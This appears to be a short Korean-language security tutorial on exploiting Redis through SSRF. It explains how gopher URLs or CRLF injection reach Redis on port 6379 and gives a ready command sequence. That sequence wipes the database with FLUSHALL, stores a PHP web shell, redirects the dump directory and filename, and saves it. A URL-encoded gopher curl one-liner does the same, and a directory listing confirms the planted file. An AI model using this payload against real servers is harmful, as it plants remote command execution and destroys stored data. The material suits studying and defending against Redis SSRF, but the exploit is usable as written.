Redis SSRF

   
1
2
root@914e18c9bf8c:/# curl localhost:6379
-ERR wrong number of arguments for 'get' command

redis인메모리 캐시 서버로 데이터를 메모리에 보관하기에 상당한 성능을 보입니다. 기본 설정에서 6379번 포트를 사용하고, 수신된 명령어를 라인 단위로 수행합니다. redishttp 프로토콜을 지원하고 있지 않으므로 gopher 등을 이용하여 ssrf를 유발해야 합니다. 예외적으로 request method 를 자유롭게 수정 가능하거나 첫 라인에 CRLF Injection이 가능한 경우 http 요청을 통해서도 발생할 수도 있습니다.

redis 버전에 따라 http request 의 첫 라인과 같이 redis 명령으로 해석되어 오류가 발생하는 경우에도 메시지만 띄우고 다음 라인을 실행할 수도 있습니다. 이런 경우에는 http 의 경우에도 header / body에 데이터 작성이 가능하면 명령 실행이 가능할 것 같네요.

1
2
3
4
5
6
FLUSHALL
SET myshell "<?php system($_GET['cmd']); ?>"
CONFIG SET DIR /tmp
CONFIG SET DBFILENAME exploit.php
SAVE
QUIT

save 명령어는 config dir 경로에 데이터 베이스를 덤프하는데, valueraw text 형식으로 저장되기 때문에 서버 내부에서 others에 쓰기 권한이 지정된 디렉터리에 저장하는 것으로 상황에 따라 rce를 유발하거나, lfi 등에 사용될 수 있습니다.

1
curl gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20/tmp%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUIT

gopher를 통한 파일 업로드 예입니다.

1
2
3
4
5
root@914e18c9bf8c:/# ls -al /tmp
total 12
drwxrwxrwt 1 root root 4096 Oct 3 05:46 .
drwxr-xr-x 1 root root 4096 Oct 3 05:43 ..
-rw-r--r-- 1 redis redis 117 Oct 3 05:46 exploit.php

save 명령어를 통해 저장된 파일의 권한은 644 이므로, 웹 서버에 업로드 했을 때에 www-data 권한으로 읽을 수 있습니다.